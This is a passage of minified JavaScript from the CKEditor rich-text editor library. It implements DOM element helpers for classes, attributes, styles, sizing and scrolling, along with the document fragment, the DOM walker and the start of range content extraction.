this.getAttribute("class");d&&a(d,b)&&((d=d.replace(new RegExp("(?:^|\\s+)"+b+"(?\x3d\\s|$)"),"").replace(/^\s+/,""))?this.setAttribute("class",d):this.removeAttribute("class"));return this},hasClass:function(b){return a(this.$.className,b)},append:function(a,d){"string"==typeof a&&(a=this.getDocument().createElement(a));d?this.$.insertBefore(a.$,this.$.firstChild):this.$.appendChild(a.$);return a},appendHtml:function(a){if(this.$.childNodes.length){var d=new CKEDITOR.dom.element("div",this.getDocument());
d.setHtml(a);d.moveChildren(this)}else this.setHtml(a)},appendText:function(a){null!=this.$.text&&CKEDITOR.env.ie&&9>CKEDITOR.env.version?this.$.text+=a:this.append(new CKEDITOR.dom.text(a))},appendBogus:function(a){if(a||CKEDITOR.env.needsBrFiller){for(a=this.getLast();a&&a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.rtrim(a.getText());)a=a.getPrevious();a&&a.is&&a.is("br")||(a=this.getDocument().createElement("br"),CKEDITOR.env.gecko&&a.setAttribute("type","_moz"),this.append(a))}},breakParent:function(a,
d){var b=new CKEDITOR.dom.range(this.getDocument());b.setStartAfter(this);b.setEndAfter(a);var g=b.extractContents(!1,d||!1),c;b.insertNode(this.remove());if(CKEDITOR.env.ie&&!CKEDITOR.env.edge){for(b=new CKEDITOR.dom.element("div");c=g.getFirst();)c.$.style.backgroundColor&&(c.$.style.backgroundColor=c.$.style.backgroundColor),b.append(c);b.insertAfter(this);b.remove(!0)}else g.insertAfterNode(this)},contains:document.compareDocumentPosition?function(a){return!!(this.$.compareDocumentPosition(a.$)&
16)}:function(a){var d=this.$;return a.type!=CKEDITOR.NODE_ELEMENT?d.contains(a.getParent().$):d!=a.$&&d.contains(a.$)},focus:function(){function a(){try{this.$.focus()}catch(d){}}return function(d){d?CKEDITOR.tools.setTimeout(a,100,this):a.call(this)}}(),getHtml:function(){var a=this.$.innerHTML;return CKEDITOR.env.ie?a.replace(/<\?[^>]*>/g,""):a},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/<\?[^>]*>/,"");var a=this.$.ownerDocument.createElement("div");a.appendChild(this.$.cloneNode(!0));
return a.innerHTML},getClientRect:function(a){var d=CKEDITOR.tools.extend({},this.$.getBoundingClientRect());!d.width&&(d.width=d.right-d.left);!d.height&&(d.height=d.bottom-d.top);return a?CKEDITOR.tools.getAbsoluteRectPosition(this.getWindow(),d):d},setHtml:CKEDITOR.env.ie&&9>CKEDITOR.env.version?function(a){try{var d=this.$;if(this.getParent())return d.innerHTML=a;var b=this.getDocument()._getHtml5ShivFrag();b.appendChild(d);d.innerHTML=a;b.removeChild(d);return a}catch(g){this.$.innerHTML="";
d=new CKEDITOR.dom.element("body",this.getDocument());d.$.innerHTML=a;for(d=d.getChildren();d.count();)this.append(d.getItem(0));return a}}:function(a){return this.$.innerHTML=a},setText:function(){var a=document.createElement("p");a.innerHTML="x";a=a.textContent;return function(d){this.$[a?"textContent":"innerText"]=d}}(),getAttribute:function(){var a=function(a){return this.$.getAttribute(a,2)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){switch(a){case "class":a=
"className";break;case "http-equiv":a="httpEquiv";break;case "name":return this.$.name;case "tabindex":return a=this.$.getAttribute(a,2),0!==a&&0===this.$.tabIndex&&(a=null),a;case "checked":return a=this.$.attributes.getNamedItem(a),(a.specified?a.nodeValue:this.$.checked)?"checked":null;case "hspace":case "value":return this.$[a];case "style":return this.$.style.cssText;case "contenteditable":case "contentEditable":return this.$.attributes.getNamedItem("contentEditable").specified?this.$.getAttribute("contentEditable"):
null}return this.$.getAttribute(a,2)}:a}(),getAttributes:function(a){var d={},b=this.$.attributes,g;a=CKEDITOR.tools.isArray(a)?a:[];for(g=0;g<b.length;g++)-1===CKEDITOR.tools.indexOf(a,b[g].name)&&(d[b[g].name]=b[g].value);return d},getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getClientSize:function(){return{width:this.$.clientWidth,height:this.$.clientHeight}},getComputedStyle:document.defaultView&&document.defaultView.getComputedStyle?function(a){var d=this.getWindow().$.getComputedStyle(this.$,
null);return d?d.getPropertyValue(a):""}:function(a){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(a)]},getDtd:function(){var a=CKEDITOR.dtd[this.getName()];this.getDtd=function(){return a};return a},getElementsByTag:CKEDITOR.dom.document.prototype.getElementsByTag,getTabIndex:function(){var a=this.$.tabIndex;return 0!==a||CKEDITOR.dtd.$tabIndex[this.getName()]||0===parseInt(this.getAttribute("tabindex"),10)?a:-1},getText:function(){return this.$.textContent||this.$.innerText||""},
getWindow:function(){return this.getDocument().getWindow()},getId:function(){return this.$.id||null},getNameAtt:function(){return this.$.name||null},getName:function(){var a=this.$.nodeName.toLowerCase();if(CKEDITOR.env.ie&&8>=document.documentMode){var d=this.$.scopeName;"HTML"!=d&&(a=d.toLowerCase()+":"+a)}this.getName=function(){return a};return this.getName()},getValue:function(){return this.$.value},getFirst:function(a){var d=this.$.firstChild;(d=d&&new CKEDITOR.dom.node(d))&&a&&!a(d)&&(d=d.getNext(a));
return d},getLast:function(a){var d=this.$.lastChild;(d=d&&new CKEDITOR.dom.node(d))&&a&&!a(d)&&(d=d.getPrevious(a));return d},getStyle:function(a){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]},is:function(){var a=this.getName();if("object"==typeof arguments[0])return!!arguments[0][a];for(var d=0;d<arguments.length;d++)if(arguments[d]==a)return!0;return!1},isEditable:function(a){var d=this.getName();return this.isReadOnly()||"none"==this.getComputedStyle("display")||"hidden"==this.getComputedStyle("visibility")||
CKEDITOR.dtd.$nonEditable[d]||CKEDITOR.dtd.$empty[d]||this.is("a")&&(this.data("cke-saved-name")||this.hasAttribute("name"))&&!this.getChildCount()?!1:!1!==a?(a=CKEDITOR.dtd[d]||CKEDITOR.dtd.span,!(!a||!a["#"])):!0},isIdentical:function(a){var d=this.clone(0,1);a=a.clone(0,1);d.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);a.removeAttributes(["_moz_dirty","data-cke-expando","data-cke-saved-href","data-cke-saved-name"]);if(d.$.isEqualNode)return d.$.style.cssText=
CKEDITOR.tools.normalizeCssText(d.$.style.cssText),a.$.style.cssText=CKEDITOR.tools.normalizeCssText(a.$.style.cssText),d.$.isEqualNode(a.$);d=d.getOuterHtml();a=a.getOuterHtml();if(CKEDITOR.env.ie&&9>CKEDITOR.env.version&&this.is("a")){var b=this.getParent();b.type==CKEDITOR.NODE_ELEMENT&&(b=b.clone(),b.setHtml(d),d=b.getHtml(),b.setHtml(a),a=b.getHtml())}return d==a},isVisible:function(){var a=(this.$.offsetHeight||this.$.offsetWidth)&&"hidden"!=this.getComputedStyle("visibility"),d,b;a&&CKEDITOR.env.webkit&&
(d=this.getWindow(),!d.equals(CKEDITOR.document.getWindow())&&(b=d.$.frameElement)&&(a=(new CKEDITOR.dom.element(b)).isVisible()));return!!a},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return!1;for(var a=this.getChildren(),d=0,b=a.count();d<b;d++){var g=a.getItem(d);if(g.type!=CKEDITOR.NODE_ELEMENT||!g.data("cke-bookmark"))if(g.type==CKEDITOR.NODE_ELEMENT&&!g.isEmptyInlineRemoveable()||g.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(g.getText()))return!1}return!0},
hasAttributes:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(){for(var a=this.$.attributes,d=0;d<a.length;d++){var b=a[d];switch(b.nodeName){case "class":if(this.getAttribute("class"))return!0;case "data-cke-expando":continue;default:if(b.specified)return!0}}return!1}:function(){var a=this.$.attributes,d=a.length,b={"data-cke-expando":1,_moz_dirty:1};return 0<d&&(2<d||!b[a[0].nodeName]||2==d&&!b[a[1].nodeName])},hasAttribute:function(){function a(d){var b=this.$.attributes.getNamedItem(d);
if("input"==this.getName())switch(d){case "class":return 0<this.$.className.length;case "checked":return!!this.$.checked;case "value":return d=this.getAttribute("type"),"checkbox"==d||"radio"==d?"on"!=this.$.value:!!this.$.value}return b?b.specified:!1}return CKEDITOR.env.ie?8>CKEDITOR.env.version?function(d){return"name"==d?!!this.$.name:a.call(this,d)}:a:function(a){return!!this.$.attributes.getNamedItem(a)}}(),hide:function(){this.setStyle("display","none")},moveChildren:function(a,d){var b=this.$;
a=a.$;if(b!=a){var g;if(d)for(;g=b.lastChild;)a.insertBefore(b.removeChild(g),a.firstChild);else for(;g=b.firstChild;)a.appendChild(b.removeChild(g))}},mergeSiblings:function(){function a(d,b,g){if(b&&b.type==CKEDITOR.NODE_ELEMENT){for(var c=[];b.data("cke-bookmark")||b.isEmptyInlineRemoveable();)if(c.push(b),b=g?b.getNext():b.getPrevious(),!b||b.type!=CKEDITOR.NODE_ELEMENT)return;if(d.isIdentical(b)){for(var e=g?d.getLast():d.getFirst();c.length;)c.shift().move(d,!g);b.moveChildren(d,!g);b.remove();
e&&e.type==CKEDITOR.NODE_ELEMENT&&e.mergeSiblings()}}}return function(d){if(!1===d||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is("a"))a(this,this.getNext(),!0),a(this,this.getPrevious())}}(),show:function(){this.setStyles({display:"",visibility:""})},setAttribute:function(){var a=function(a,b){this.$.setAttribute(a,b);return this};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(d,b){"class"==d?this.$.className=b:"style"==d?this.$.style.cssText=b:"tabindex"==d?
this.$.tabIndex=b:"checked"==d?this.$.checked=b:"contenteditable"==d?a.call(this,"contentEditable",b):a.apply(this,arguments);return this}:CKEDITOR.env.ie8Compat&&CKEDITOR.env.secure?function(d,b){if("src"==d&&b.match(/^http:\/\//))try{a.apply(this,arguments)}catch(g){}else a.apply(this,arguments);return this}:a}(),setAttributes:function(a){for(var d in a)this.setAttribute(d,a[d]);return this},setValue:function(a){this.$.value=a;return this},removeAttribute:function(){var a=function(a){this.$.removeAttribute(a)};
return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){"class"==a?a="className":"tabindex"==a?a="tabIndex":"contenteditable"==a&&(a="contentEditable");this.$.removeAttribute(a)}:a}(),removeAttributes:function(a){if(CKEDITOR.tools.isArray(a))for(var d=0;d<a.length;d++)this.removeAttribute(a[d]);else for(d in a=a||this.getAttributes(),a)a.hasOwnProperty(d)&&this.removeAttribute(d)},removeStyle:function(a){var d=this.$.style;if(d.removeProperty||"border"!=a&&"margin"!=a&&"padding"!=
a)d.removeProperty?d.removeProperty(a):d.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(a)),this.$.style.cssText||this.removeAttribute("style");else{var b=["top","left","right","bottom"],g;"border"==a&&(g=["color","style","width"]);for(var d=[],c=0;c<b.length;c++)if(g)for(var e=0;e<g.length;e++)d.push([a,b[c],g[e]].join("-"));else d.push([a,b[c]].join("-"));for(a=0;a<d.length;a++)this.removeStyle(d[a])}},setStyle:function(a,d){this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]=d;return this},setStyles:function(a){for(var d in a)this.setStyle(d,
a[d]);return this},setOpacity:function(a){CKEDITOR.env.ie&&9>CKEDITOR.env.version?(a=Math.round(100*a),this.setStyle("filter",100<=a?"":"progid:DXImageTransform.Microsoft.Alpha(opacity\x3d"+a+")")):this.setStyle("opacity",a)},unselectable:function(){this.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select","none"));if(CKEDITOR.env.ie){this.setAttribute("unselectable","on");for(var a,d=this.getElementsByTag("*"),b=0,g=d.count();b<g;b++)a=d.getItem(b),a.setAttribute("unselectable","on")}},getPositionedAncestor:function(){for(var a=
this;"html"!=a.getName();){if("static"!=a.getComputedStyle("position"))return a;a=a.getParent()}return null},getDocumentPosition:function(a){var d=0,b=0,g=this.getDocument(),c=g.getBody(),e="BackCompat"==g.$.compatMode;if(document.documentElement.getBoundingClientRect&&(CKEDITOR.env.ie?8!==CKEDITOR.env.version:1)){var f=this.$.getBoundingClientRect(),h=g.$.documentElement,m=h.clientTop||c.$.clientTop||0,u=h.clientLeft||c.$.clientLeft||0,x=!0;CKEDITOR.env.ie&&(x=g.getDocumentElement().contains(this),
g=g.getBody().contains(this),x=e&&g||!e&&x);x&&(CKEDITOR.env.webkit||CKEDITOR.env.ie&&12<=CKEDITOR.env.version?(d=c.$.scrollLeft||h.scrollLeft,b=c.$.scrollTop||h.scrollTop):(b=e?c.$:h,d=b.scrollLeft,b=b.scrollTop),d=f.left+d-u,b=f.top+b-m)}else for(m=this,u=null;m&&"body"!=m.getName()&&"html"!=m.getName();){d+=m.$.offsetLeft-m.$.scrollLeft;b+=m.$.offsetTop-m.$.scrollTop;m.equals(this)||(d+=m.$.clientLeft||0,b+=m.$.clientTop||0);for(;u&&!u.equals(m);)d-=u.$.scrollLeft,b-=u.$.scrollTop,u=u.getParent();
u=m;m=(f=m.$.offsetParent)?new CKEDITOR.dom.element(f):null}a&&(f=this.getWindow(),m=a.getWindow(),!f.equals(m)&&f.$.frameElement&&(a=(new CKEDITOR.dom.element(f.$.frameElement)).getDocumentPosition(a),d+=a.x,b+=a.y));document.documentElement.getBoundingClientRect||!CKEDITOR.env.gecko||e||(d+=this.$.clientLeft?1:0,b+=this.$.clientTop?1:0);return{x:d,y:b}},scrollIntoView:function(a){var b=this.getParent();if(b){do if((b.$.clientWidth&&b.$.clientWidth<b.$.scrollWidth||b.$.clientHeight&&b.$.clientHeight<
b.$.scrollHeight)&&!b.is("body")&&this.scrollIntoParent(b,a,1),b.is("html")){var c=b.getWindow();try{var g=c.$.frameElement;g&&(b=new CKEDITOR.dom.element(g))}catch(e){}}while(b=b.getParent())}},scrollIntoParent:function(a,b,c){var g,e,f,h;function m(g,b){/body|html/.test(a.getName())?a.getWindow().$.scrollBy(g,b):(a.$.scrollLeft+=g,a.$.scrollTop+=b)}function p(a,g){var b={x:0,y:0};if(!a.is(x?"body":"html")){var d=a.$.getBoundingClientRect();b.x=d.left;b.y=d.top}d=a.getWindow();d.equals(g)||(d=p(CKEDITOR.dom.element.get(d.$.frameElement),
g),b.x+=d.x,b.y+=d.y);return b}function u(a,g){return parseInt(a.getComputedStyle("margin-"+g)||0,10)||0}!a&&(a=this.getWindow());f=a.getDocument();var x="BackCompat"==f.$.compatMode;a instanceof CKEDITOR.dom.window&&(a=x?f.getBody():f.getDocumentElement());CKEDITOR.env.webkit&&(f=this.getEditor(!1))&&(f._.previousScrollTop=null);f=a.getWindow();e=p(this,f);var t=p(a,f),B=this.$.offsetHeight;g=this.$.offsetWidth;var v=a.$.clientHeight,y=a.$.clientWidth;f=e.x-u(this,"left")-t.x||0;h=e.y-u(this,"top")-
t.y||0;g=e.x+g+u(this,"right")-(t.x+y)||0;e=e.y+B+u(this,"bottom")-(t.y+v)||0;(0>h||0<e)&&m(0,!0===b?h:!1===b?e:0>h?h:e);c&&(0>f||0<g)&&m(0>f?f:g,0)},setState:function(a,b,c){b=b||"cke";switch(a){case CKEDITOR.TRISTATE_ON:this.addClass(b+"_on");this.removeClass(b+"_off");this.removeClass(b+"_disabled");c&&this.setAttribute("aria-pressed",!0);c&&this.removeAttribute("aria-disabled");break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(b+"_disabled");this.removeClass(b+"_off");this.removeClass(b+"_on");
c&&this.setAttribute("aria-disabled",!0);c&&this.removeAttribute("aria-pressed");break;default:this.addClass(b+"_off"),this.removeClass(b+"_on"),this.removeClass(b+"_disabled"),c&&this.removeAttribute("aria-pressed"),c&&this.removeAttribute("aria-disabled")}},getFrameDocument:function(){var a=this.$;try{a.contentWindow.document}catch(b){a.src=a.src}return a&&new CKEDITOR.dom.document(a.contentWindow.document)},copyAttributes:function(a,b){var c=this.$.attributes;b=b||{};for(var g=0;g<c.length;g++){var e=
c[g],f=e.nodeName.toLowerCase(),h;if(!(f in b))if("checked"==f&&(h=this.getAttribute(f)))a.setAttribute(f,h);else if(!CKEDITOR.env.ie||this.hasAttribute(f))h=this.getAttribute(f),null===h&&(h=e.nodeValue),a.setAttribute(f,h)}""!==this.$.style.cssText&&(a.$.style.cssText=this.$.style.cssText)},renameNode:function(a){if(this.getName()!=a){var b=this.getDocument();a=new CKEDITOR.dom.element(a,b);this.copyAttributes(a);this.moveChildren(a);this.getParent(!0)&&this.$.parentNode.replaceChild(a.$,this.$);
a.$["data-cke-expando"]=this.$["data-cke-expando"];this.$=a.$;delete this.getName}},getChild:function(){function a(b,c){var g=b.childNodes;if(0<=c&&c<g.length)return g[c]}return function(b){var c=this.$;if(b.slice)for(b=b.slice();0<b.length&&c;)c=a(c,b.shift());else c=a(c,b);return c?new CKEDITOR.dom.node(c):null}}(),getChildCount:function(){return this.$.childNodes.length},disableContextMenu:function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT&&b.hasClass("cke_enable_context_menu")}this.on("contextmenu",
function(b){b.data.getTarget().getAscendant(a,!0)||b.data.preventDefault()})},getDirection:function(a){return a?this.getComputedStyle("direction")||this.getDirection()||this.getParent()&&this.getParent().getDirection(1)||this.getDocument().$.dir||"ltr":this.getStyle("direction")||this.getAttribute("dir")},data:function(a,b){a="data-"+a;if(void 0===b)return this.getAttribute(a);!1===b?this.removeAttribute(a):this.setAttribute(a,b);return null},getEditor:function(a){var b=CKEDITOR.instances,c,g,e;a=
a||void 0===a;for(c in b)if(g=b[c],g.element.equals(this)&&g.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO||!a&&(e=g.editable())&&(e.equals(this)||e.contains(this)))return g;return null},find:function(a){var b=f(this);a=new CKEDITOR.dom.nodeList(this.$.querySelectorAll(e(this,a)));b();return a},findOne:function(a){var b=f(this);a=this.$.querySelector(e(this,a));b();return a?new CKEDITOR.dom.element(a):null},forEach:function(a,b,c){if(!(c||b&&this.type!=b))var g=a(this);if(!1!==g){c=this.getChildren();
for(var e=0;e<c.count();e++)g=c.getItem(e),g.type==CKEDITOR.NODE_ELEMENT?g.forEach(a,b):b&&g.type!=b||a(g)}},fireEventHandler:function(a,b){var c="on"+a,g=this.$;if(CKEDITOR.env.ie&&9>CKEDITOR.env.version){var e=g.ownerDocument.createEventObject(),f;for(f in b)e[f]=b[f];g.fireEvent(c,e)}else g[g[a]?a:c](b)},isDetached:function(){var a=this.getDocument(),b=a.getDocumentElement();return b.equals(this)||b.contains(this)?!CKEDITOR.env.ie||8<CKEDITOR.env.version&&!CKEDITOR.env.quirks?!a.$.defaultView:
!1:!0}});var h={width:["border-left-width","border-right-width","padding-left","padding-right"],height:["border-top-width","border-bottom-width","padding-top","padding-bottom"]};CKEDITOR.dom.element.prototype.setSize=function(a,d,c){"number"==typeof d&&(!c||CKEDITOR.env.ie&&CKEDITOR.env.quirks||(d-=b.call(this,a)),this.setStyle(a,d+"px"))};CKEDITOR.dom.element.prototype.getSize=function(a,d){var c=Math.max(this.$["offset"+CKEDITOR.tools.capitalize(a)],this.$["client"+CKEDITOR.tools.capitalize(a)])||
0;d&&(c-=b.call(this,a));return c}})();CKEDITOR.dom.documentFragment=function(a){a=a||CKEDITOR.document;this.$=a.type==CKEDITOR.NODE_DOCUMENT?a.$.createDocumentFragment():a};CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(a){a=a.$;a.parentNode.insertBefore(this.$,a.nextSibling)},getHtml:function(){var a=new CKEDITOR.dom.element("div");this.clone(1,1).appendTo(a);return a.getHtml().replace(/\s*data-cke-expando=".*?"/g,
"")}},!0,{append:1,appendBogus:1,clone:1,getFirst:1,getHtml:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1});CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.document.prototype,!0,{find:1,findOne:1});(function(){function a(a,g){var b=this.range;if(this._.end)return null;if(!this._.start){this._.start=1;if(b.collapsed)return this.end(),
null;b.optimize()}var d,c=b.startContainer;d=b.endContainer;var e=b.startOffset,n=b.endOffset,k,f=this.guard,h=this.type,m=a?"getPreviousSourceNode":"getNextSourceNode";if(!a&&!this._.guardLTR){var l=d.type==CKEDITOR.NODE_ELEMENT?d:d.getParent(),D=d.type==CKEDITOR.NODE_ELEMENT?d.getChild(n):d.getNext();this._.guardLTR=function(a,g){return(!g||!l.equals(a))&&(!D||!a.equals(D))&&(a.type!=CKEDITOR.NODE_ELEMENT||!g||!a.equals(b.root))}}if(a&&!this._.guardRTL){var G=c.type==CKEDITOR.NODE_ELEMENT?c:c.getParent(),
E=c.type==CKEDITOR.NODE_ELEMENT?e?c.getChild(e-1):null:c.getPrevious();this._.guardRTL=function(a,g){return(!g||!G.equals(a))&&(!E||!a.equals(E))&&(a.type!=CKEDITOR.NODE_ELEMENT||!g||!a.equals(b.root))}}var J=a?this._.guardRTL:this._.guardLTR;k=f?function(a,g){return!1===J(a,g)?!1:f(a,g)}:J;this.current?d=this.current[m](!1,h,k):(a?d.type==CKEDITOR.NODE_ELEMENT&&(d=0<n?d.getChild(n-1):!1===k(d,!0)?null:d.getPreviousSourceNode(!0,h,k)):(d=c,d.type==CKEDITOR.NODE_ELEMENT&&((d=d.getChild(e))||(d=!1===
k(c,!0)?null:c.getNextSourceNode(!0,h,k)))),d&&!1===k(d)&&(d=null));for(;d&&!this._.end;){this.current=d;if(!this.evaluator||!1!==this.evaluator(d)){if(!g)return d}else if(g&&this.evaluator)return!1;d=d[m](!1,h,k)}this.end();return this.current=null}function f(g){for(var b,d=null;b=a.call(this,g);)d=b;return d}CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(a){this.range=a;this._={}},proto:{end:function(){this._.end=1},next:function(){return a.call(this)},previous:function(){return a.call(this,
1)},checkForward:function(){return!1!==a.call(this,0,1)},checkBackward:function(){return!1!==a.call(this,1,1)},lastForward:function(){return f.call(this)},lastBackward:function(){return f.call(this,1)},reset:function(){delete this.current;this._={}}}});var e={block:1,"list-item":1,table:1,"table-row-group":1,"table-header-group":1,"table-footer-group":1,"table-row":1,"table-column-group":1,"table-column":1,"table-cell":1,"table-caption":1},b={absolute:1,fixed:1};CKEDITOR.dom.element.prototype.isBlockBoundary=
function(a){return"none"!=this.getComputedStyle("float")||this.getComputedStyle("position")in b||!e[this.getComputedStyle("display")]?!!(this.is(CKEDITOR.dtd.$block)||a&&this.is(a)):!0};CKEDITOR.dom.walker.blockBoundary=function(a){return function(g){return!(g.type==CKEDITOR.NODE_ELEMENT&&g.isBlockBoundary(a))}};CKEDITOR.dom.walker.listItemBoundary=function(){return this.blockBoundary({br:1})};CKEDITOR.dom.walker.bookmark=function(a,g){function b(a){return a&&a.getName&&"span"==a.getName()&&a.data("cke-bookmark")}
return function(d){var c,e;c=d&&d.type!=CKEDITOR.NODE_ELEMENT&&(e=d.getParent())&&b(e);c=a?c:c||b(d);return!!(g^c)}};CKEDITOR.dom.walker.whitespaces=function(a){return function(g){var b;g&&g.type==CKEDITOR.NODE_TEXT&&(b=!CKEDITOR.tools.trim(g.getText())||CKEDITOR.env.webkit&&g.getText()==CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE);return!!(a^b)}};CKEDITOR.dom.walker.invisible=function(a){var g=CKEDITOR.dom.walker.whitespaces(),b=CKEDITOR.env.webkit?1:0;return function(d){g(d)?d=1:(d.type==CKEDITOR.NODE_TEXT&&
(d=d.getParent()),d=d.$.offsetWidth<=b);return!!(a^d)}};CKEDITOR.dom.walker.nodeType=function(a,g){return function(b){return!!(g^b.type==a)}};CKEDITOR.dom.walker.bogus=function(a){function g(a){return!m(a)&&!h(a)}return function(b){var d=CKEDITOR.env.needsBrFiller?b.is&&b.is("br"):b.getText&&c.test(b.getText());d&&(d=b.getParent(),b=b.getNext(g),d=d.isBlockBoundary()&&(!b||b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary()));return!!(a^d)}};CKEDITOR.dom.walker.temp=function(a){return function(g){g.type!=
CKEDITOR.NODE_ELEMENT&&(g=g.getParent());g=g&&g.hasAttribute("data-cke-temp");return!!(a^g)}};var c=/^[\t\r\n ]*(?: |\xa0)$/,m=CKEDITOR.dom.walker.whitespaces(),h=CKEDITOR.dom.walker.bookmark(),l=CKEDITOR.dom.walker.temp(),d=function(a){return h(a)||m(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.is(CKEDITOR.dtd.$inline)&&!a.is(CKEDITOR.dtd.$empty)};CKEDITOR.dom.walker.ignored=function(a){return function(g){g=m(g)||h(g)||l(g);return!!(a^g)}};var k=CKEDITOR.dom.walker.ignored();CKEDITOR.dom.walker.empty=
function(a){return function(g){for(var b=0,d=g.getChildCount();b<d;++b)if(!k(g.getChild(b)))return!!a;return!a}};var g=CKEDITOR.dom.walker.empty(),n=CKEDITOR.dom.walker.validEmptyBlockContainers=CKEDITOR.tools.extend(function(a){var g={},b;for(b in a)CKEDITOR.dtd[b]["#"]&&(g[b]=1);return g}(CKEDITOR.dtd.$block),{caption:1,td:1,th:1});CKEDITOR.dom.walker.editable=function(a){return function(b){b=k(b)?!1:b.type==CKEDITOR.NODE_TEXT||b.type==CKEDITOR.NODE_ELEMENT&&(b.is(CKEDITOR.dtd.$inline)||b.is("hr")||
"false"==b.getAttribute("contenteditable")||!CKEDITOR.env.needsBrFiller&&b.is(n)&&g(b))?!0:!1;return!!(a^b)}};CKEDITOR.dom.element.prototype.getBogus=function(){var a=this;do a=a.getPreviousSourceNode();while(d(a));return a&&(CKEDITOR.env.needsBrFiller?a.is&&a.is("br"):a.getText&&c.test(a.getText()))?a:!1}})();CKEDITOR.dom.range=function(a){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null;this.collapsed=!0;var f=a instanceof CKEDITOR.dom.document;this.document=f?a:a.getDocument();
this.root=f?a.getBody():a};(function(){function a(a){a.collapsed=a.startContainer&&a.endContainer&&a.startContainer.equals(a.endContainer)&&a.startOffset==a.endOffset}function f(a,b,d,c,e){function k(a,b,g,d){var c=g?a.getPrevious():a.getNext();if(d&&m)return c;v||d?b.append(a.clone(!0,e),g):(a.remove(),l&&b.append(a,g));return c}function f(){var a,b,g,d=Math.min(I.length,K.length);for(a=0;a<d;a++)if(b=I[a],g=K[a],!b.equals(g))return a;return a-1}function h(){var b=C-1,d=J&&H&&!y.equals(z);b<L-1||
b<Q-1||d?(d?a.moveToPosition(z,CKEDITOR.POSITION_BEFORE_START):Q==b+1&&E?a.moveToPosition(K[b],CKEDITOR.POSITION_BEFORE_END):a.moveToPosition(K[b+1],CKEDITOR.POSITION_BEFORE_START),c&&(b=I[b+1])&&b.type==CKEDITOR.NODE_ELEMENT&&(d=CKEDITOR.dom.element.createFromHtml('\x3cspan data-cke-bookmark\x3d"1" style\x3d"display:none"\x3e\x26nbsp;\x3c/span\x3e',a.document),d.insertAfter(b),b.mergeSiblings(!1),a.moveToBookmark({startNode:d}))):a.collapse(!0)}a.optimizeBookmark();var m=0===b,l=1==b,v=2==b;b=v||
l;var y=a.startContainer,z=a.endContainer,A=a.startOffset,D=a.endOffset,G,E,J,H,F,M;if(v&&z.type==CKEDITOR.NODE_TEXT&&(y.equals(z)||y.type===CKEDITOR.NODE_ELEMENT&&y.getFirst().equals(z)))d.append(a.document.createText(z.substring(A,D)));else{z.type==CKEDITOR.NODE_TEXT?v?M=!0:z=z.split(D):0<z.getChildCount()?D>=z.getChildCount()?(z=z.getChild(D-1),E=!0):z=z.getChild(D):H=E=!0;y.type==CKEDITOR.NODE_TEXT?v?F=!0:y.split(A):0<y.getChildCount()?0===A?(y=y.getChild(A),G=!0):y=y.getChild(A-1):J=G=!0;for(var I=
y.getParents(),K=z.getParents(),C=f(),L=I.length-1,Q=K.length-1,O=d,X,T,Y,ha=-1,W=C;W<=L;W++){T=I[W];Y=T.getNext();for(W!=L||T.equals(K[W])&&L<Q?b&&(X=O.append(T.clone(0,e))):G?k(T,O,!1,J):F&&O.append(a.document.createText(T.substring(A)));Y;){if(Y.equals(K[W])){ha=W;break}Y=k(Y,O)}O=X}O=d;for(W=C;W<=Q;W++)if(d=K[W],Y=d.getPrevious(),d.equals(I[W]))b&&(O=O.getChild(0));else{W!=Q||d.equals(I[W])&&Q<L?b&&(X=O.append(d.clone(0,e))):E?k(d,O,!1,H):M&&O.append(a.document.createText(d.substring(0,D)));if(W>
ha)for(;Y;)Y=k(Y,O,!0);O=X}v||h()}}function e(){var a=!1,b=CKEDITOR.dom.walker.whitespaces(),d=CKEDITOR.dom.walker.bookmark(!0),c=CKEDITOR.dom.walker.bogus();return function(e){return d(e)||b(e)?!0:c(e)&&!a?a=!0:e.type==CKEDITOR.NODE_TEXT&&(e.hasAscendant("pre")||CKEDITOR.tools.trim(e.getText()).length)||e.type==CKEDITOR.NODE_ELEMENT&&!e.is(m)?!1:!0}}function b(a){var b=CKEDITOR.dom.walker.whitespaces(),d=CKEDITOR.dom.walker.bookmark(1);return function(c){return d(c)||b(c)?!0:!a&&h(c)||c.type==CKEDITOR.NODE_ELEMENT&&
